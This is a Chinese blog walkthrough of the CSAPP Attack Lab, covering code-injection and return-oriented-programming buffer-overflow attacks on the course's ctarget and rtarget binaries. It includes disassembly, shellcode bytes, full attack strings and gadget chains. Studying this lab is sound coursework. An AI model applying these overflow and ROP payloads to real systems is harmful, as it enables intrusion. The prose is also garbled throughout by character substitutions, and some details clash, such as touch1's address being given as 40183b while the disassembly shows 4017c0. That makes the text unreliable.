共计 9435 个字符,预计需要花费 24 分钟才能阅读完成。
这是 CSAPP 的第四个试验,这个试验比拟有意思,也比拟难。通过这个试验咱们能够更加相熟 GDB 的应用和机器代码的栈和参数传递机制。
@[toc]
试验目标
本试验要求在两个有着不同安全漏洞的程序上实现五种攻打。通过实现本试验达到:
- 深刻了解当程序没有对缓冲区溢出做足够防备时,攻击者可能会如何利用这些安全漏洞。
- 深刻了解 x86-64 机器代码的栈和参数传递机制。
- 深刻了解 x86-64 指令的编码方式。
- 纯熟应用 gdb 和 objdump 等调试工具。
-
更好地了解写出平安的程序的重要性,理解到一些编译器和操作系统提供的帮忙改善程序安全性的个性。
做本次试验之前,倡议好好浏览下本篇博文 面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!,了解缓冲区溢出时函数的返回值是如何被批改和精准定位的。
筹备工作
在官网下载失去实验所需文件解压后会失去五个不同的文件。对六个文件简要阐明如下所示。
README.txt: 形容文件夹目录
ctarget: 一个容易蒙受 code injection 攻打的可执行程序。
rtarget:一个容易蒙受 return-oriented programming 攻打的可执行程序。
cookie.txt 一个 8 位的十六进制码,用于验证身份的惟一标识符。
farm.c: 指标“gadget farm”的源代码,用于产生 return-oriented programming 攻打。
hex2raw:一个生成攻打字符串的工具。
HEX2RAW 冀望由一个或多个空格分隔的两位十六进制值。所以如果你想创立一个十六进制值为 0 的字节,须要将其写为 00。要创立单词 0xdeadbeef 应将“ef be ad de”传递给 HEX2RAW(请留神,小字节序须要反转)。
编译环境:Ubuntu 16.04,gcc 5.4.0。
留神:因为咱们应用的是外网编译,所以在运行程序时加上 - q 参数。
内容简介
CTARGET 和 RTARGET 从规范输出中读取字符串,应用的 getbuf 函数如下所示。
unsigned getbuf() | |
{char buf[BUFFER_SIZE]; | |
Gets(buf); | |
return 1; | |
} |
函数 Gets()相似于规范库函数 gets(),从规范输出读入一个字符串,将字符串(带 null 结束符)存储在指定的目标地址。二者都只会简略地拷贝字节序列,无奈确定指标缓冲区是否足够大以存储下读入的字符串,因而可能会超出指标地址处调配的存储空间。字符串不能蕴含字节值 0x0a,这是换行符 \n 的 ASCII 码,Gets()遇到这个字节时会认为意在完结该字符串。
如果用户输出并由 getbuf 读取的字符串足够短,则很显著 getbuf 将返回 1,如以下执行示例所示:
当输出一个很长的字符串时,将会呈现段谬误,具体如下图所示:
如上图所示,呈现了缓冲区溢出谬误。咱们能够利用缓冲区溢出来批改程序的返回值,使它指向咱们要求的地址来实现攻打。
CTARGET 和 RTARGET 都采纳几个不同的命令行参数:
-h: 打印可能的命令行参数列表
-q: 本地测评,不要将后果发送到评分服务器
-i FILE: 提供来自文件的输出,而不是来自规范输出的输出
代码注入攻打
Level 1
对于第 1 个例程,将不会注入新代码,而是缓冲区溢出破绽利用字符串将重定向程序来执行现有程序。在 CTARGET 文件中中调用了函数 getbuf。当 getbuf 执行完 return 语句后,程序通常会接着向下执行第 5 行的内容。
void test() | |
{ | |
int val; | |
val = getbuf(); | |
printf("NO explit. Getbuf returned 0x%x\n", val); | |
} |
如果咱们想扭转这种行为。在文件 ctarget 中,咱们要把 getbuf 函数的返回值指向函数 touch1,touch1 代码如下所示:
void touch1() | |
{ | |
vlevel = 1; | |
printf("Touch!: You called touch1()\n"); | |
validate(1); | |
exit(0); | |
} |
执行 objdump -d rtarget > rtarget.d 命令,将 rtarget 反汇编看下 getbuf 和 touch1 的反汇编代码。
00000000004017a8 <getbuf>: | |
4017a8: 48 83 ec 28 sub $0x28,%rsp # 开拓 40 字节的空间 | |
4017ac: 48 89 e7 mov %rsp,%rdi | |
4017af: e8 ac 03 00 00 callq 401b60 <Gets> | |
4017b4: b8 01 00 00 00 mov $0x1,%eax | |
4017b9: 48 83 c4 28 add $0x28,%rsp | |
4017bd: c3 retq # 失常返回,跳转到 test 函数的第 5 行继续执行 | |
4017be: 90 nop | |
4017bf: 90 nop |
00000000004017c0 <touch1>: | |
4017c0: 48 83 ec 08 sub $0x8,%rsp | |
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel> | |
4017cb: 00 00 00 | |
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi | |
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> | |
4017d8: bf 01 00 00 00 mov $0x1,%edi | |
4017dd: e8 cb 05 00 00 callq 401dad <validate> | |
4017e2: bf 00 00 00 00 mov $0x0,%edi | |
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt> |
由上述反汇编代码能够晓得,咱们只有批改 getbuf 结尾处的 ret 指令,将其指向 touch1 函数的起始地址 40183b 就能够。要想将其精确指向 40183b,要首先将 getbuf 的 40 字节内容填充斥,使其溢出,再将 40183b 笼罩 getbuf 原来的返回地址即可。(这里不明确的能够看下文章面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!)
攻打字符串如下所示,命名为 attack1.txt。
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
c0 17 40 00 00 00 00 00 |
执行以下指令进行测试
./hex2raw < attack1.txt > attackraw1.txt | |
./ctarget -qi attackraw1.txt |
Level 2
第 2 阶段波及注入大量代码作为攻打字符串的一部分。在文件 ctarget 中,touch2 的代码如下所示:
void touch2(unsigned val) | |
{ | |
vlevel = 2; /* Part of validation protocol */ | |
if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val); | |
validate(2); | |
} else {printf("Misfire: You called touch2(0x%.8x)\n", val); | |
fail(2); | |
} | |
exit(0); | |
} |
反汇编如下所示:
00000000004017ec <touch2>: | |
4017ec: 48 83 ec 08 sub $0x8,%rsp | |
4017f0: 89 fa mov %edi,%edx # val 存在 %rdi 中 | |
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> | |
4017f9: 00 00 00 | |
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> | |
401802: 75 20 jne 401824 <touch2+0x38> | |
401804: be 08 32 40 00 mov $0x403208,%esi | |
401809: bf 01 00 00 00 mov $0x1,%edi | |
40180e: b8 00 00 00 00 mov $0x0,%eax | |
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> | |
401818: bf 02 00 00 00 mov $0x2,%edi | |
40181d: e8 8b 05 00 00 callq 401dad <validate> | |
401822: eb 1e jmp 401842 <touch2+0x56> | |
401824: be 30 32 40 00 mov $0x403230,%esi | |
401829: bf 01 00 00 00 mov $0x1,%edi | |
40182e: b8 00 00 00 00 mov $0x0,%eax | |
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> | |
401838: bf 02 00 00 00 mov $0x2,%edi | |
40183d: e8 2d 06 00 00 callq 401e6f <fail> | |
401842: bf 00 00 00 00 mov $0x0,%edi | |
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt> |
Level 2 和 Level 1 差异次要在 Level 2 多了一个 val 参数,咱们在跳转到 Level 2 时,还要将其参数传递过来,让他认为是本人的 cookie 0x59b997fa。
因而,咱们首先要将 0x59b997fa 赋值给 %rdi,实现参数的传递。如何实现程序的跳转呢?在第一次 ret 的时候,将 ret 地址写为咱们写好的攻打代码,在攻打代码中,将 touch2 的地址 0x4017ec 压栈,汇编代码再 ret 到 touch2。咱们能实现这个攻打的前提是这个具备破绽的程序在运行时的 栈地址是固定的 ,不会因运行屡次而扭转,并且这个程序 容许执行栈中的代码。汇编代码如下所示:
mov $0x59b997fa,%rdi | |
pushq $0x4017ec #压栈,ret 时会将 0x4017ec 弹出执行 | |
ret |
应用如下指令将汇编代码反汇编
gcc -c attack2.s | |
objdump -d attack2.o > attack2.d |
反汇编代码如下所示:
0000000000000000 <.text>: | |
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi | |
7: 68 ec 17 40 00 pushq $0x4017ec | |
c: c3 retq |
内存中存储这段代码的中央便是 getbuf 开拓的缓冲区,咱们利用 gdb 查看此时缓冲区的起始地址。
留神:缓冲区地址为 0x5561dca0(栈底), 因为调配了一个 0x28 的栈, 插入的代码在字符串首,即栈顶(低地址),所以地址最终要取 0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68 | |
ec 17 40 00 c3 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
// 以上蕴含注入代码填充斥整个缓冲区(40 字节)以至溢出。78 dc 61 55 00 00 00 00 | |
// 用缓冲区的起始地址笼罩掉原先的返回地址(留神字节程序)。 |
最终测试后果正确
Level 3
int hexmatch(unsigned val, char *sval) | |
{char cbuf[110]; | |
/* Make position of check string unpredictable */ | |
char *s = cbuf + random() % 100; | |
/**/ | |
sprintf(s, "%.8x", val); | |
return strncmp(sval, s, 9) == 0; | |
} | |
void touch3(char *sval) | |
{ | |
vlevel = 3; | |
if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3(\"%s\")\n", sval); | |
validate(3); | |
} else {printf("Misfire: You called touch3(\"%s\")\n", sval); | |
fail(3); | |
} | |
exit(0); | |
} |
与之前的相似,在 getbuf 函数返回的时候,执行 touch3 而不是 test。touch3 函数传入的是 cookie 的字符串示意。因而,咱们要将 %rdi 设置为 cookie 的地址即字符串示意(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>: | |
4018fa: 53 push %rbx | |
4018fb: 48 89 fb mov %rdi,%rbx | |
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel> | |
401905: 00 00 00 | |
401908: 48 89 fe mov %rdi,%rsi | |
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie> | |
401911: e8 36 ff ff ff callq 40184c <hexmatch> | |
401916: 85 c0 test %eax,%eax | |
401918: 74 23 je 40193d <touch3+0x43> | |
40191a: 48 89 da mov %rbx,%rdx | |
40191d: be 58 32 40 00 mov $0x403258,%esi | |
401922: bf 01 00 00 00 mov $0x1,%edi | |
401927: b8 00 00 00 00 mov $0x0,%eax | |
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> | |
401931: bf 03 00 00 00 mov $0x3,%edi | |
401936: e8 72 04 00 00 callq 401dad <validate> | |
40193b: eb 21 jmp 40195e <touch3+0x64> | |
40193d: 48 89 da mov %rbx,%rdx | |
401940: be 80 32 40 00 mov $0x403280,%esi | |
401945: bf 01 00 00 00 mov $0x1,%edi | |
40194a: b8 00 00 00 00 mov $0x0,%eax | |
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> | |
401954: bf 03 00 00 00 mov $0x3,%edi | |
401959: e8 11 05 00 00 callq 401e6f <fail> | |
40195e: bf 00 00 00 00 mov $0x0,%edi | |
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt> |
在 touch3 中调用了 hexmatch 函数,这个函数中又开拓了 110 个字节的空间。如果咱们把 cookie 放在栈中,执行 hexmatch 函数可能会把 cookie 的数据笼罩掉。咱们能够间接通过植入指令来批改 %rsp
栈指针的值。
fa 18 40 00 00 00 00 00 #touch3 的地址 | |
bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90 | |
30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret | |
35 39 62 39 39 37 66 61 #cookie | |
00 00 00 00 00 00 00 00 | |
80 dc 61 55 #stack top 的地址 +8 |
返回导向编程攻打
对程序 RTARGET 进行代码注入攻打比对 CTARGET 进行难度要大得多,因为它应用两种技术来阻止此类攻打:
它应用栈随机化,以使堆栈地位在一次运行与另一次运行中不同。这使得不可能确定注入代码的地位。
它会将保留堆栈的内存局部标记为不可执行,因而,即便能够将程序计数器设置为注入代码的结尾,程序也会因分段谬误而失败。
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_c3%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80.png” alt=”image-20201119101626094″ style=”zoom:67%;” />
侥幸的是,聪慧的人曾经设计出了通过执行程序来在程序中实现有用的事件的策略。应用现有代码,而不是注入新代码。罕用的是 ROP 策略,ROP 的策略是辨认现有程序中的字节序列,由一个或多个指令后跟指令 ret 组成 。这种段称为 gadget.。图 2 阐明了如何设置堆栈以执行 n 个 gadget 的序列。在此图中,堆栈蕴含一系列 gadget 地址。每个 gadget 都蕴含一系列指令字节,其中最初一个是 0xc3,对 ret 指令进行编码。当程序从该配置开始执行 ret 指令时,它将启动一系列 gadget 执行,其中 ret 指令位于每个 gadget 的开端,从而导致程序跳至下一个开始。通过一直的跳转,拼凑出本人想要的后果来进行攻打的形式。(简略来说:就是利用现有程序的汇编代码,从不同的函数中挑选出本人想要的代码, 通过一直跳转的形式将这些代码拼接起来组成咱们须要的代码。)
上面是试验手册给出的局部指令所对应的字节码,咱们须要在 rtarget 文件中筛选这些指令去执行之前 level2 和 level3 的攻打。
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%86.png” alt=”image-20201119101419358″ style=”zoom:67%;” />
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%862.png” alt=”image-20201119101449467″ style=”zoom:67%;” />
Level 2
这个试验与之前的 Level 2 很类似,所以咱们要做的就是将 cookie 的值赋值给 %rdi,执行 touch2。然而本题应用的是 ROP 攻打模式,不可能间接有 movq $ 0x59b997fa
,%rdi 这样的代码。Write up 提醒能够用 movq
, popq
等来实现这个工作。因而咱们能够把 $0x59b997fa 放在栈中,再 popq %rdi,利用 popq 咱们能够把数据从栈中转移到寄存器中,而这个恰好是咱们所须要的。代码有了,那咱们就去寻找 gadget。
思路确定了,接下来只须要依据 Write up 提供的 encoding table 来查找 popq
对应 encoding 是否在程序中呈现了。很容易找到 popq %rdi 对应的编码 5f 在这里呈现,并且下一条就是 ret:
402b18: 41 5f pop %r15 | |
402b1a: c3 retq |
所以答案就是:
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
19 2b 40 00 00 00 00 00 #pop %rdi | |
fa 97 b9 59 00 00 00 00 #cookie | |
ec 17 40 00 00 00 00 00 #touch2 |
运行下后果如下所示
Level 3
这个试验是在之前 Level3 的根底上又减少了一个难度,具体要求是要用 ROP 跳转到 touch3,并且传入一个和 cookie 一样的字符串。因为栈是随机化的,那么咱们如何在栈地址随机化的状况上来获取咱们放在栈中的字符串的首地址呢?咱们只能通过操作 %rsp 的值来扭转地位。在之前的 Level 3 试验中也提到过,touch3 函数会调用 hexmatch 函数,在 hexmatch 中会开拓 110 个字节的空间,如果字符串放在 touch3 函数返回地址的上方,那么 cookie 肯定会被笼罩。因而,咱们应该放在更高一点的地位,即便得 hexmatch 函数新开拓空间也够不到 cookie 字符串。所以,字符串的地址肯定是 %rsp 加上一个数。
可是 WriteUp 里给的 encoding table 都是 mov pop nop 双编码等指令,并没有加法,然而 gadget farm 中有一条自带的指令,具体如下所示:
00000000004019d6 <add_xy>: | |
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi | |
4019da: c3 retq |
咱们能够通过这个函数来实现加法,因为 lea (%rdi,%rsi,1) %rax 就是 %rax = %rdi + %rsi。所以,只有可能让 %rdi 和 %rsi 其中一个保留 %rsp,另一个保留从 stack 中 pop 进去的偏移值,就能够示意 cookie 寄存的地址,而后把这个地址 mov 到 %rdi 就功败垂成了。
对应 Write up 外面的 encoding table 会发现,从 %rax 并不能间接 mov 到 %rsi,而只能通过 %eax->%edx->%ecx->%esi 来实现这个。所以,兵分两路:
1. 把 %rsp 寄存到 %rdi 中
2. 把偏移值(须要确定指令数后能力确定) 寄存到 %rsi 中
而后,再用 lea 那条指令把这两个后果的和寄存到 %rax 中,再 movq 到 %rdi 中就实现了。
值得注意的是,下面两路实现工作的寄存器不能调换,因为从 %eax 到 %esi 这条路线下面的 mov 都是 4 个 byte 的操作,如果对 %rsp 的值采纳这条路线,%rsp 的值会被截断掉,最初的后果就错了。然而偏移值不会,因为 4 个 bytes 足够示意了。
最初后果:
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
00 00 00 00 00 00 00 00 | |
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax | |
a2 19 40 00 00 00 00 00 #movq %rax, %rdi | |
ab 19 40 00 00 00 00 00 #popq %rax | |
48 00 00 00 00 00 00 00 #偏移值 | |
dd 19 40 00 00 00 00 00 #mov %eax, %edx | |
34 1a 40 00 00 00 00 00 #mov %edx, %ecx | |
13 1a 40 00 00 00 00 00 #mov %ecx, %esi | |
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax | |
a2 19 40 00 00 00 00 00 #movq %rax, %rdi | |
fa 18 40 00 00 00 00 00 #touch3 | |
35 39 62 39 39 37 66 61 #cookie |
参考 https://zhuanlan.zhihu.com/p/…
测试后果如下:
总结
这几个试验挺有意思的,体验了一把黑客的感觉。最初一个试验还是有难度的,本人也参考网上其他人的解法。通过本次试验也增强了本人对函数调用栈,字节序,GDB,汇编的了解。X86 有些指令用多了也就记住了,不须要刻意去记,游刃有余!
养成习惯,先赞后看!如果感觉写的不错,欢送关注,点赞,转发,谢谢!
如遇到排版错乱的问题,能够通过以下链接拜访我的 CSDN。
**CSDN:[CSDN 搜寻“嵌入式与 Linux 那些事”]